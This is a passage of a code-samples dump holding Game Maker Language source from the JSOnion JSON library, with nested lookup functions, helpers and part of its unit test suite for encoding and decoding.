(!jso_compare_lists(a, b)) {\r\n                    return false;\r\n                }\r\n            break;\r\n            default:\r\n                if (a != b) {\r\n                    return false;\r\n                }\r\n            break;\r\n        }\r\n    }\r\n    \r\n    //No mismatches, return true\r\n    return true;\r\n}\r\n\r\n#define jso_map_check\r\n{\r\n    /**\r\n    jso_map_check(map, key1, key2, ...): Recursively look up keys/indices in the top-level map <map>, return whether a value exists there.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Catch empty calls\r\n    if (argument_count < 2) {\r\n        show_error(\"Expected at least 2 arguments, got \" + string(argument_count) + \".\", true);\r\n    }\r\n    \r\n    //Build list of keys/indices\r\n    var i, key_list;\r\n    key_list = ds_list_create();\r\n    for (i=1; i<argument_count; i+=1) {\r\n        ds_list_add(key_list, argument[i]);\r\n    }\r\n    \r\n    //Call lookup kernel and cleanup\r\n    var result;\r\n    result = _jso_lookup_kernel(argument[0], jso_type_map, 0, key_list);\r\n    ds_list_destroy(key_list);\r\n    \r\n    //Done\r\n    return result;\r\n}\r\n\r\n#define jso_list_check\r\n{\r\n    /**\r\n    jso_list_check(list, key1, key2, ...): Recursively look up keys/indices in the top-level list <list>, return whether a value exists there.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Catch empty calls\r\n    if (argument_count < 2) {\r\n        show_error(\"Expected at least 2 arguments, got \" + string(argument_count) + \".\", true);\r\n    }\r\n    \r\n    //Build list of keys/indices\r\n    var i, key_list;\r\n    key_list = ds_list_create();\r\n    for (i=1; i<argument_count; i+=1) {\r\n        ds_list_add(key_list, argument[i]);\r\n    }\r\n    \r\n    //Call lookup kernel and cleanup\r\n    var result;\r\n    result = _jso_lookup_kernel(argument[0], jso_type_list, 0, key_list);\r\n    ds_list_destroy(key_list);\r\n    \r\n    //Done\r\n    return result;\r\n}\r\n\r\n#define jso_map_lookup\r\n{\r\n    /**\r\n    jso_map_lookup(map, key1, key2, ...): Recursively look up keys/indices in the top-level map <map>, return the value that exists there.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Catch empty calls\r\n    if (argument_count < 2) {\r\n        show_error(\"Expected at least 2 arguments, got \" + string(argument_count) + \".\", true);\r\n    }\r\n    \r\n    //Build list of keys/indices\r\n    var i, key_list;\r\n    key_list = ds_list_create();\r\n    for (i=1; i<argument_count; i+=1) {\r\n        ds_list_add(key_list, argument[i]);\r\n    }\r\n    \r\n    //Call lookup kernel and cleanup\r\n    var result;\r\n    result = _jso_lookup_kernel(argument[0], jso_type_map, 1, key_list);\r\n    ds_list_destroy(key_list);\r\n    \r\n    //Done\r\n    return result;\r\n}\r\n\r\n#define jso_map_lookup_type\r\n{\r\n    /**\r\n    jso_map_lookup_type(map, key1, key2, ...): Recursively look up keys/indices in the top-level map <map>, return the type of value that exists there.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Catch empty calls\r\n    if (argument_count < 2) {\r\n        show_error(\"Expected at least 2 arguments, got \" + string(argument_count) + \".\", true);\r\n    }\r\n    \r\n    //Build list of keys/indices\r\n    var i, key_list;\r\n    key_list = ds_list_create();\r\n    for (i=1; i<argument_count; i+=1) {\r\n        ds_list_add(key_list, argument[i]);\r\n    }\r\n    \r\n    //Call lookup kernel and cleanup\r\n    var result;\r\n    result = _jso_lookup_kernel(argument[0], jso_type_map, 2, key_list);\r\n    ds_list_destroy(key_list);\r\n    \r\n    //Done\r\n    return result;\r\n}\r\n\r\n#define jso_list_lookup\r\n{\r\n    /**\r\n    jso_list_lookup(list, key1, key2, ...): Recursively look up keys/indices in the top-level list <list>, return the value that exists there.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Catch empty calls\r\n    if (argument_count < 2) {\r\n        show_error(\"Expected at least 2 arguments, got \" + string(argument_count) + \".\", true);\r\n    }\r\n    \r\n    //Build list of keys/indices\r\n    var i, key_list;\r\n    key_list = ds_list_create();\r\n    for (i=1; i<argument_count; i+=1) {\r\n        ds_list_add(key_list, argument[i]);\r\n    }\r\n    \r\n    //Call lookup kernel and cleanup\r\n    var result;\r\n    result = _jso_lookup_kernel(argument[0], jso_type_list, 1, key_list);\r\n    ds_list_destroy(key_list);\r\n    \r\n    //Done\r\n    return result;\r\n}\r\n\r\n#define jso_list_lookup_type\r\n{\r\n    /**\r\n    jso_list_lookup_type(list, key1, key2, ...): Recursively look up keys/indices in the top-level list <list>, return the type of value that exists there.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    //Catch empty calls\r\n    if (argument_count < 2) {\r\n        show_error(\"Expected at least 2 arguments, got \" + string(argument_count) + \".\", true);\r\n    }\r\n    \r\n    //Build list of keys/indices\r\n    var i, key_list;\r\n    key_list = ds_list_create();\r\n    for (i=1; i<argument_count; i+=1) {\r\n        ds_list_add(key_list, argument[i]);\r\n    }\r\n    \r\n    //Call lookup kernel and cleanup\r\n    var result;\r\n    result = _jso_lookup_kernel(argument[0], jso_type_list, 2, key_list);\r\n    ds_list_destroy(key_list);\r\n    \r\n    //Done\r\n    return result;\r\n}\r\n\r\n#define _jso_lookup_kernel\r\n{\r\n    /**\r\n    _jso_lookup_kernel(jso_ds, jso_type, task_type, ds_args_list): Kernel of the check and lookup functions.\r\n    - jso_ds: The JSOnion-compatible data structure handle.\r\n    - jso_type: The type of the JSOnion-compatible (jso_type_list or jso_type_map)\r\n    - task_type: 0=check, 1=lookup, 2=lookup type\r\n    - ds_args_list: ds_list of arguments passed in.\r\n    \r\n    PLEASE DO NOT CALL DIRECTLY --- use regular jso_*() functions.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    var i, k, data, type, type_string, task_type, keys_size, ds_args_list;\r\n    data = argument0;\r\n    type = argument1;\r\n    if (type == jso_type_map) {\r\n        type_string = \"map\";\r\n    } else {\r\n        type_string = \"list\";\r\n    }\r\n    task_type = argument2;\r\n    ds_args_list = argument3;\r\n    keys_size = ds_list_size(ds_args_list);\r\n    \r\n    //Iteratively go through arguments in ds_args_list\r\n    for (i=0; i<keys_size; i+=1) {\r\n        k = ds_list_find_value(argument3, i);\r\n        switch (type) {\r\n            //Check for existence of the key in the current map\r\n            case jso_type_map:\r\n                if (!ds_map_exists(data, k)) {\r\n                    switch (task_type) {\r\n                        case 0:\r\n                            return false;\r\n                        break;\r\n                        default:\r\n                            show_error(\"Cannot find value in \" + type_string + \" lookup.\", true);\r\n                        break;\r\n                    }\r\n                }\r\n                type = jso_map_get_type(data, k);\r\n                data = jso_map_get(data, k);\r\n            break;\r\n            //Check for existence of the index in the current list\r\n            case jso_type_list:\r\n                if (is_string(k)) {\r\n                    switch (task_type) {\r\n                        case 0:\r\n                            return false;\r\n                        break;\r\n                        default:\r\n                            show_error(\"Cannot use string indices for nested lists in \" + type_string + \" lookup.\", true);\r\n                        break;\r\n                    }\r\n                }\r\n                if (k >= ds_list_size(data)) {\r\n                    switch (task_type) {\r\n                        case 0:\r\n                            return false;\r\n                        break;\r\n                        default:\r\n                            show_error(\"Index overflow for nested lists in \" + type_string + \" lookup.\", true);\r\n                        break;\r\n                    }\r\n                }\r\n                type = jso_list_get_type(data, k);\r\n                data = jso_list_get(data, k);\r\n            break;\r\n            //Trying to go through a leaf; don't attempt to look further\r\n            default:\r\n                switch (task_type) {\r\n                    case 0:\r\n                        return false;\r\n                    break;\r\n                    default:\r\n                        show_error(\"Recursive overflow in \" + type_string + \" lookup.\", true);\r\n                    break;\r\n                }\r\n            break;\r\n        }\r\n    }\r\n    \r\n    //Can find something, return the value requested by the task\r\n    switch (task_type) {\r\n        case 0:\r\n            return true;\r\n        break;\r\n        case 1:\r\n            return data;\r\n        break;\r\n        case 2:\r\n            return type;\r\n        break;\r\n    }\r\n}\r\n\r\n#define _jso_is_whitespace_char\r\n{\r\n    /**\r\n    _jso_is_whitespace_char(char): Return whether <char> is a whitespace character.\r\n    Definition of whitespace is given by Unicode 6.0, Chapter 4.6.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    switch (ord(argument0)) {\r\n        case $0009:\r\n        case $000A:\r\n        case $000B:\r\n        case $000C:\r\n        case $000D:\r\n        case $0020:\r\n        case $0085:\r\n        case $00A0:\r\n        case $1680:\r\n        case $180E:\r\n        case $2000:\r\n        case $2001:\r\n        case $2002:\r\n        case $2003:\r\n        case $2004:\r\n        case $2005:\r\n        case $2006:\r\n        case $2007:\r\n        case $2008:\r\n        case $2009:\r\n        case $200A:\r\n        case $2028:\r\n        case $2029:\r\n        case $202F:\r\n        case $205F:\r\n        case $3000:\r\n            return true;\r\n    }\r\n    return false;\r\n}\r\n\r\n#define _jso_hex_to_decimal\r\n{\r\n    /**\r\n    _jso_hex_to_decimal(hex_string): Return the decimal value of the hex number represented by <hex_string>\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var hex_string, hex_digits;\r\n    hex_string = string_lower(argument0);\r\n    hex_digits = \"0123456789abcdef\";\r\n    \r\n    //Convert digit-by-digit\r\n    var i, len, digit_value, num;\r\n    len = string_length(hex_string);\r\n    num = 0;\r\n    for (i=1; i<=len; i+=1) {\r\n        digit_value = string_pos(string_char_at(hex_string, i), hex_digits)-1;\r\n        if (digit_value >= 0) {\r\n            num *= 16;\r\n            num += digit_value;\r\n        } \r\n        //Unknown character\r\n        else {\r\n            show_error(\"Invalid hex number: \" + argument0, true);\r\n        }\r\n    }\r\n    return num;\r\n}\r\n\r\n"
  },
  {
    "path": "samples/Game Maker Language/jsonion_test.gml",
    "content": "// Originally from /jsonion_test.gml in JSOnion\r\n// JSOnion v1.0.0d is licensed under the MIT licence. You may freely adapt and use this library in commercial and non-commercial projects.\r\n\r\n#define assert_true\r\n{\r\n    /**\r\n    assert_true(result, errormsg): Display error <errormsg> unless <result> is true.\r\n    */\r\n    \r\n    if (!argument0) {\r\n        _assert_error_popup(argument1 + string_repeat(_assert_newline(), 2) + \"Expected true, got false.\");\r\n    }\r\n}\r\n\r\n#define assert_false\r\n{\r\n    /**\r\n    assert_false(result, errormsg): Display error <errormsg> unless <result> is false.\r\n    */\r\n    \r\n    if (argument0) {\r\n        _assert_error_popup(argument1 + string_repeat(_assert_newline(), 2) + \"Expected false, got true.\");\r\n    }\r\n}\r\n\r\n#define assert_equal\r\n{\r\n    /**\r\n    assert_equal(expected, result, errormsg): Display error <errormsg> unless <expected> and <result> are equal.\r\n    */\r\n    \r\n    //Safe equality check; won't crash even if the two are different types\r\n    var match;\r\n    match = is_string(argument0) == is_string(argument1);\r\n    if (match) {\r\n        match = argument0 == argument1;\r\n    }\r\n\r\n    //No match?\r\n    if (!match) {\r\n        //Data types\r\n        var type;\r\n        type[0] = \"(Real)\";\r\n        type[1] = \"(String)\";\r\n        \r\n        //Construct message\r\n        var msg;\r\n        msg = argument2;\r\n        //Add expected value\r\n        msg += string_repeat(_assert_newline(), 2);\r\n        msg += \"Expected \" + type[is_string(argument0)] + \":\" + _assert_newline();\r\n        msg += _assert_debug_value(argument0);\r\n        //Add actual value\r\n        msg += string_repeat(_assert_newline(), 2);\r\n        msg += \"Actual \" + type[is_string(argument1)] + \":\" + _assert_newline();\r\n        msg += _assert_debug_value(argument1);\r\n        \r\n        //Display message\r\n        _assert_error_popup(msg);\r\n    }\r\n}\r\n\r\n#define _assert_error_popup\r\n{\r\n    /**\r\n    _assert_error_popup(msg): Display an assertion error.\r\n    */\r\n    \r\n    //Display message\r\n    if (os_browser == browser_not_a_browser) {\r\n        show_error(argument0, false); //Full-fledged error message for non-browser environments\r\n    } else {\r\n        show_message(argument0); //Browsers don't support show_error(), use show_message() instead\r\n    }\r\n}\r\n\r\n#define _assert_debug_value\r\n{\r\n    /**\r\n    _assert_debug_value(val): Returns a low-level debug value for the value <val>.\r\n    <val> can be a string or a real value.\r\n    */\r\n    \r\n    //String\r\n    if (is_string(argument0)) {\r\n        if (os_browser == browser_not_a_browser) {\r\n            return argument0;\r\n        } else {\r\n            return string_replace_all(argument0, \"#\", \"\\#\");\r\n        }\r\n    }\r\n    \r\n    //Numeric --- use GMTuple's algorithm\r\n    else {\r\n    \r\n        //Integers\r\n        if (frac(argument0) == 0) {\r\n            return string(argument0);\r\n        }\r\n        \r\n        //Decimal numbers; get exponent and mantissa  \r\n        var mantissa, exponent;\r\n        exponent = floor(log10(abs(argument0)));\r\n        mantissa = string_format(argument0/power(10,exponent), 15, 14);\r\n        //Look for trailing zeros in the mantissa\r\n        var i, ca;\r\n        i = string_length(mantissa);\r\n        do {\r\n            ca = string_char_at(mantissa, i);\r\n            i -= 1;\r\n        } until (ca != \"0\")\r\n        //Remove the dot if only the first digit of the normalized mantissa is nonzero\r\n        if (ca != \".\") {\r\n            mantissa = string_copy(mantissa, 1, i+1);\r\n        }\r\n        else {\r\n            mantissa = string_copy(mantissa, 1, i);\r\n        }\r\n        //Remove the exponent if it is 0\r\n        if (exponent != 0) {\r\n            return mantissa + \"e\" + string(exponent);\r\n        } else {\r\n            return mantissa;\r\n        }\r\n    \r\n    //GMTuple algorithm done\r\n    }\r\n}\r\n\r\n#define _assert_newline\r\n{\r\n    /**\r\n    _assert_newline(): Returns a system-appropriate newline character sequence.\r\n    */\r\n    \r\n    if (os_browser == browser_not_a_browser) {\r\n        return chr(13) + chr(10);\r\n    } else {\r\n        return \"#\";\r\n    }\r\n}\r\n\r\n#define jso_test_all\r\n{\r\n    /**\r\n    jso_test_all(): Run the test suite for the JSOnion library.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var a, b;\r\n    a = current_time;\r\n    _test_jso_new();\r\n    _test_jso_map_add();\r\n    _test_jso_list_add();\r\n    _test_jso_encode();\r\n    _test_jso_compare();\r\n    _test_jso_decode();\r\n    _test_jso_lookup();\r\n    _test_jso_bugs();\r\n    __jso_gmt_test_all();\r\n    b = current_time;\r\n    show_debug_message(\"JSOnion: Tests completed in \" + string(b-a) + \"ms.\");\r\n}\r\n\r\n#define _test_jso_new\r\n{\r\n    /**\r\n    _test_jso_new(): Test jso_new_*() functions.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    var expected, actual;\r\n    \r\n    //jso_new_map()\r\n    actual = jso_new_map();\r\n    assert_true(actual >= 0, \"jso_new_map() failed to create a new map.\");\r\n    ds_map_destroy(actual);\r\n    \r\n    //jso_new_list()\r\n    actual = jso_new_list();\r\n    assert_true(actual >= 0, \"jso_new_list() failed to create a new list.\");\r\n    ds_list_destroy(actual);\r\n}\r\n\r\n#define _test_jso_map_add\r\n{\r\n    /**\r\n    _test_jso_map_add(): Test jso_map_add_*() functions.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    var expected, actual, key, map;\r\n    map = jso_new_map();\r\n    \r\n    //jso_map_add_real()\r\n    expected = pi;\r\n    key = \"pi\";\r\n    jso_map_add_real(map, key, expected);\r\n    actual = jso_map_get(map, key);\r\n    assert_true(ds_map_exists(map, key), \"jso_map_add_real() failed to add the number.\");\r\n    assert_equal(expected, actual, \"jso_map_add_real() added the wrong number.\");\r\n    ds_map_delete(map, key);\r\n    \r\n    //jso_map_add_string()\r\n    expected = \"waahoo\";\r\n    key = \"str\";\r\n    jso_map_add_string(map, key, expected);\r\n    actual = jso_map_get(map, key);\r\n    assert_true(ds_map_exists(map, key), \"jso_map_add_string() failed to add the string.\");\r\n    assert_equal(expected, actual, \"jso_map_add_string() added the wrong string.\");\r\n    ds_map_delete(map, key);\r\n    \r\n    //jso_map_add_sublist()\r\n    expected = jso_new_list();\r\n    key = \"sublist\";\r\n    jso_map_add_sublist(map, key, expected);\r\n    actual = jso_map_get(map, key);\r\n    assert_true(ds_map_exists(map, key), \"jso_map_add_sublist() failed to add the new sublist.\");\r\n    assert_equal(expected, actual, \"jso_map_add_sublist() added the wrong sublist.\");\r\n    ds_map_delete(map, key);\r\n    ds_list_destroy(expected);\r\n    \r\n    //jso_map_add_submap()\r\n    expected = jso_new_map();\r\n    key = \"sublist\";\r\n    jso_map_add_sublist(map, key, expected);\r\n    actual = jso_map_get(map, key);\r\n    assert_true(ds_map_exists(map, key), \"jso_map_add_submap() failed to add the new submap.\");\r\n    assert_equal(expected, actual, \"jso_map_add_submap() added the wrong submap.\");\r\n    ds_map_delete(map, key);\r\n    ds_map_destroy(expected);\r\n    \r\n    //jso_map_add_integer()\r\n    expected = 2345;\r\n    key = \"integer\";\r\n    jso_map_add_integer(map, key, expected);\r\n    actual = jso_map_get(map, key);\r\n    assert_true(ds_map_exists(map, key), \"jso_map_add_integer() failed to add the new integer.\");\r\n    assert_equal(expected, actual, \"jso_map_add_integer() added the wrong integer.\");\r\n    ds_map_delete(map, key);\r\n    \r\n    //jso_map_add_boolean() --- true\r\n    expected = true;\r\n    key = \"booleantrue\";\r\n    jso_map_add_boolean(map, key, expected);\r\n    actual = jso_map_get(map, key);\r\n    assert_true(ds_map_exists(map, key), \"jso_map_add_boolean() failed to add true.\");\r\n    assert_true(actual, \"jso_map_add_boolean() added the wrong true.\");\r\n    ds_map_delete(map, key);\r\n    \r\n    //jso_map_add_boolean() --- false\r\n    expected = false;\r\n    key = \"booleanfalse\";\r\n    jso_map_add_boolean(map, key, expected);\r\n    actual = jso_map_get(map, key)\r\n    assert_true(ds_map_exists(map, key), \"jso_map_add_boolean() failed to add false.\");\r\n    assert_false(actual, \"jso_map_add_boolean() added the wrong false.\");\r\n    ds_map_delete(map, key);\r\n    \r\n    //Cleanup\r\n    ds_map_destroy(map);\r\n}\r\n\r\n#define _test_jso_list_add\r\n{\r\n    /**\r\n    _test_jso_list_add(): Test jso_list_add_*() functions.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    var expected, actual, list;\r\n    list = jso_new_list();\r\n    \r\n    //jso_list_add_real()\r\n    expected = pi;\r\n    jso_list_add_real(list, expected);\r\n    actual = jso_list_get(list, 0);\r\n    assert_false(ds_list_empty(list), \"jso_list_add_real() failed to add the number.\");\r\n    assert_equal(expected, actual, \"jso_list_add_real() added the wrong number.\");\r\n    ds_list_clear(list);\r\n    \r\n    //jso_list_add_string()\r\n    expected = \"waahoo\";\r\n    jso_list_add_string(list, expected);\r\n    actual = jso_list_get(list, 0);\r\n    assert_false(ds_list_empty(list), \"jso_list_add_string() failed to add the string.\");\r\n    assert_equal(expected, actual, \"jso_list_add_string() added the wrong string.\");\r\n    ds_list_clear(list);\r\n    \r\n    //jso_list_add_sublist()\r\n    expected = jso_new_list();\r\n    jso_list_add_sublist(list, expected);\r\n    actual = jso_list_get(list, 0);\r\n    assert_false(ds_list_empty(list), \"jso_list_add_sublist() failed to add the sublist.\");\r\n    assert_equal(expected, actual, \"jso_list_add_sublist() added the wrong sublist.\");\r\n    ds_list_clear(list);\r\n    ds_list_destroy(expected);\r\n    \r\n    //jso_list_add_submap()\r\n    expected = jso_new_map();\r\n    jso_list_add_submap(list, expected);\r\n    actual = jso_list_get(list, 0);\r\n    assert_false(ds_list_empty(list), \"jso_list_add_submap() failed to add the submap.\");\r\n    assert_equal(expected, actual, \"jso_list_add_submap() added the wrong submap.\");\r\n    ds_list_clear(list);\r\n    ds_map_destroy(expected);\r\n    \r\n    //jso_list_add_integer()\r\n    expected = 2345;\r\n    jso_list_add_integer(list, expected);\r\n    actual = jso_list_get(list, 0);\r\n    assert_false(ds_list_empty(list), \"jso_list_add_integer() failed to add integer.\");\r\n    assert_equal(expected, actual, \"jso_list_add_integer() added the wrong integer.\");\r\n    ds_list_clear(list);\r\n    \r\n    //jso_list_add_boolean() --- true\r\n    expected = true;\r\n    jso_list_add_boolean(list, expected);\r\n    actual = jso_list_get(list, 0);\r\n    assert_false(ds_list_empty(list), \"jso_list_add_boolean() failed to add boolean true.\");\r\n    assert_true(actual, \"jso_list_add_boolean() added the wrong boolean true.\");\r\n    ds_list_clear(list);\r\n    \r\n    //jso_list_add_boolean() --- false\r\n    expected = false;\r\n    jso_list_add_boolean(list, expected);\r\n    actual = jso_list_get(list, 0);\r\n    assert_false(ds_list_empty(list), \"jso_list_add_boolean() failed to add boolean false.\");\r\n    assert_false(actual, \"jso_list_add_boolean() added the wrong boolean false.\");\r\n    ds_list_clear(list);\r\n    \r\n    //Cleanup\r\n    ds_list_destroy(list);\r\n}\r\n\r\n#define _test_jso_encode\r\n{\r\n    /**\r\n    _test_jso_encode(): Tests jso_encode_*() functions.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    \r\n    var original, expected, actual;\r\n    \r\n    //jso_encode_real() --- Positive\r\n    expected = 3.1415;\r\n    actual = jso_encode_real(3.1415);\r\n    assert_equal(expected, real(actual), \"jso_encode_real() failed to encode positive real!\");\r\n    \r\n    //jso_encode_real() --- Negative\r\n    expected = -2.71828;\r\n    actual = jso_encode_real(-2.71828);\r\n    assert_equal(expected, real(actual), \"jso_encode_real() failed to encode negative real!\");\r\n    \r\n    //jso_encode_real() --- Zero\r\n    expected = 0;\r\n    actual = jso_encode_integer(0);\r\n    assert_equal(expected, real(actual), \"jso_encode_real() failed to encode zero!\");\r\n    \r\n    //jso_encode_integer() --- Positive\r\n    expected = \"2345\";\r\n    actual = jso_encode_integer(2345);\r\n    assert_equal(expected, actual, \"jso_encode_integer() failed to encode positive integer!\");\r\n    \r\n    //jso_encode_integer() --- Negative\r\n    expected = \"-45\";\r\n    actual = jso_encode_integer(-45);\r\n    assert_equal(expected, actual, \"jso_encode_integer() failed to encode negative integer!\");\r\n    \r\n    //jso_encode_integer() --- Zero\r\n    expected = \"0\";\r\n    actual = jso_encode_integer(0);\r\n    assert_equal(expected, actual, \"jso_encode_integer() failed to encode zero!\");\r\n    \r\n    //jso_encode_boolean() --- true\r\n    expected = \"true\";\r\n    actual = jso_encode_boolean(true);\r\n    assert_equal(expected, actual, \"jso_encode_boolean() failed to encode true!\");\r\n    \r\n    //jso_encode_boolean() --- false\r\n    expected = \"false\";\r\n    actual = jso_encode_boolean(false);\r\n    assert_equal(expected, actual, \"jso_encode_boolean() failed to encode false!\");\r\n    \r\n    //jso_encode_string() --- Simple string\r\n    expected = '\"waahoo\"';\r\n    actual = jso_encode_string(\"waahoo\");\r\n    assert_equal(expected, actual, \"jso_encode_string() failed to encode simple string!\");\r\n    \r\n    //jso_encode_string() --- Empty string\r\n    expected = '\"\"';\r\n    actual = jso_encode_string(\"\");\r\n    assert_equal(expected, actual, \"jso_encode_string() failed to encode empty string!\");\r\n    \r\n    //jso_encode_string() --- Basic escape characters\r\n    expected = '\"\\\\\\\"\\b\\f\\n\\r\\t\"';\r\n    actual = jso_encode_string('\\\"' + chr(8) + chr(12) + chr(10) + chr(13) + chr(9));\r\n    assert_equal(expected, actual, \"jso_encode_string() failed to encode escape character string!\");\r\n    \r\n    //jso_encode_map() --- Empty map\r\n    var empty_map;\r\n    empty_map = jso_new_map();\r\n    expected = \"{}\";\r\n    actual = jso_encode_map(empty_map);\r\n    assert_equal(expected, actual, \"jso_encode_map() failed to encode empty map!\");\r\n    jso_cleanup_map(empty_map);\r\n    \r\n    //jso_encode_map() --- One-element map\r\n    var one_map;\r\n    one_map = jso_new_map();\r\n    jso_map_add_string(one_map, \"key\", \"value\");\r\n    expected = '{\"key\":\"value\"}';\r\n    actual = jso_encode_map(one_map);\r\n    assert_equal(expected, actual, \"jso_encode_map() failed to encode one-element map!\");\r\n    jso_cleanup_map(one_map);\r\n    \r\n    //jso_encode_map() --- Multi-element map\r\n    var multi_map, ok1, ok2;\r\n    multi_map = jso_new_map();\r\n    jso_map_add_string(multi_map, \"key1\", \"value\\1\");\r\n    jso_map_add_integer(multi_map, \"key2\", 2);\r\n    ok1 = '{\"key1\":\"value\\\\1\",\"key2\":2}';\r\n    ok2 = '{\"key2\":2,\"key1\":\"value\\\\1\"}';\r\n    actual = jso_encode_map(multi_map);\r\n    assert_true((actual == ok1) || (actual == ok2), \"jso_encode_map() failed to encode multi-element map!\");\r\n    jso_cleanup_map(multi_map);\r\n    \r\n    //jso_encode_list() --- Empty list\r\n    var empty_list;\r\n    empty_list = jso_new_list();\r\n    expected = \"[]\";\r\n    actual = jso_encode_list(empty_list);\r\n    assert_equal(expected, actual, \"jso_encode_list() failed to encode empty list!\");\r\n    jso_cleanup_list(empty_list);\r\n    \r\n    //jso_encode_list() --- One-element nested list\r\n    var one_list;\r\n    one_list = jso_new_list();\r\n    jso_list_add_submap(one_list, jso_new_map());\r\n    expected = \"[{}]\";\r\n    actual = jso_encode_list(one_list);\r\n    assert_equal(expected, actual, \"jso_encode_list() failed to encode one-element nested list!\");\r\n    jso_cleanup_list(one_list);\r\n    \r\n    //jso_encode_list() --- Multi-element nested list\r\n    var multi_list, submap, sublist;\r\n    multi_list = jso_new_list();\r\n    submap = jso_new_map();\r\n        jso_map_add_string(submap, \"1\", \"one\");\r\n    jso_list_add_submap(multi_list, submap);\r\n    jso_list_add_integer(multi_list, 2);\r\n    sublist = jso_new_list();\r\n        jso_list_add_string(sublist, \"three\");\r\n        jso_list_add_boolean(sublist, true);\r\n    jso_list_add_sublist(multi_list, sublist);\r\n    expected = '[{\"1\":\"one\"},2,[\"three\",true]]';\r\n    actual = jso_encode_list(multi_list);\r\n    assert_equal(expected, actual, \"jso_encode_list() failed to encode one-element nested list!\");\r\n    jso_cleanup_list(multi_list);\r\n}\r\n\r\n#define _test_jso_decode\r\n{\r\n    /**\r\n    _test_jso_decode(): Test core _jso_decode_*() functions.\r\n    The formatting is intentionally erratic here to simulate actual formatting deviations.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var json, expected, actual, expected_structure, actual_structure;\r\n    \r\n    ////Primitives\r\n    \r\n    //_jso_decode_string(): Empty string\r\n    json = '\"\"';\r\n    expected = __jso_gmt_tuple(\"\", 3);\r\n    actual = _jso_decode_string(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_string() failed to decode an empty string!\");\r\n    \r\n    //_jso_decode_string(): Small string\r\n    json = '\"key\"  ';\r\n    expected = __jso_gmt_tuple(\"key\", 6);\r\n    actual = _jso_decode_string(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_string() failed to decode a small string!\");\r\n    \r\n    //_jso_decode_string(): Simple string\r\n    json = '  \"The quick brown fox jumps over the lazy dog.\" ';\r\n    expected = __jso_gmt_tuple(\"The quick brown fox jumps over the lazy dog.\", 49);\r\n    actual = _jso_decode_string(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_string() failed to decode a simple string!\");\r\n    \r\n    //_jso_decode_string(): Escape characters\r\n    json = ' \"\\\"\\\\\\b\\f\\n\\r\\t\\u003A\"';\r\n    expected = __jso_gmt_tuple('\"\\' + chr(8) + chr(12) + chr(10) + chr(13) + chr(9) + chr($003a), 24);\r\n    actual = _jso_decode_string(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_string() failed to decode a string with escape characters!\");\r\n    \r\n    //_jso_decode_string(): Mixed characters\r\n    json = ' \"\\\"\\\\\\bWaahoo\\f\\n\\r\\tnegg\\u003a\"';\r\n    expected = __jso_gmt_tuple('\"\\' + chr(8) + \"Waahoo\" + chr(12) + chr(10) + chr(13) + chr(9) + \"negg\" + chr($003a), 34);\r\n    actual = _jso_decode_string(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_string() failed to decode a string with mixed characters!\");\r\n    \r\n    //_jso_decode_boolean(): True\r\n    json = 'true';\r\n    expected = __jso_gmt_tuple(true, 5);\r\n    actual = _jso_decode_boolean(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_boolean() failed to decode true!\");\r\n    \r\n    //_jso_decode_boolean(): False\r\n    json = '  false  ';\r\n    expected = __jso_gmt_tuple(false, 8);\r\n    actual = _jso_decode_boolean(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_boolean() failed to decode false!\");\r\n    \r\n    //_jso_decode_real(): Zero\r\n    json = '0';\r\n    expected = __jso_gmt_tuple(0, 2);\r\n    actual = _jso_decode_real(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_real() failed to decode standard zero!\");\r\n    \r\n    //_jso_decode_real(): Signed zero\r\n    json = '  +0 ';\r\n    expected = __jso_gmt_tuple(0, 5);\r\n    actual = _jso_decode_real(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_real() failed to decode signed zero!\");\r\n    \r\n    //_jso_decode_real(): Signed zero with decimal digits\r\n    json = ' -0.000';\r\n    expected = __jso_gmt_tuple(0, 8);\r\n    actual = _jso_decode_real(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_real() failed to decode signed zero with decimal digits!\");\r\n    \r\n    //_jso_decode_real(): Positive real\r\n    json = '3.14159';\r\n    expected = __jso_gmt_tuple(3.14159, 8);\r\n    actual = _jso_decode_real(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_real() failed to decode positive real number!\");\r\n    \r\n    //_jso_decode_real(): Negative real\r\n    json = ' -2.71828';\r\n    expected = __jso_gmt_tuple(-2.71828, 10);\r\n    actual = _jso_decode_real(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_real() failed to decode negative real number!\");\r\n    \r\n    //_jso_decode_real(): Positive real with positive exponent\r\n    json = ' 3.14159e2';\r\n    expected = __jso_gmt_tuple(3.14159*100, 11);\r\n    actual = _jso_decode_real(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_real() failed to decode positive real number with positive exponent!\");\r\n    \r\n    //_jso_decode_real(): Negative real with positive exponent\r\n    json = ' -2.71828E2';\r\n    expected = __jso_gmt_tuple(-2.71828*100, 12);\r\n    actual = _jso_decode_real(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_real() failed to decode negative real number with positive exponent!\");\r\n    \r\n    //_jso_decode_real(): Positive real with negative exponent\r\n    json = ' 314.159e-2';\r\n    expected = __jso_gmt_tuple(3.14159, 12);\r\n    actual = _jso_decode_real(json, 1);\r\n    assert_equal(expected, actual, 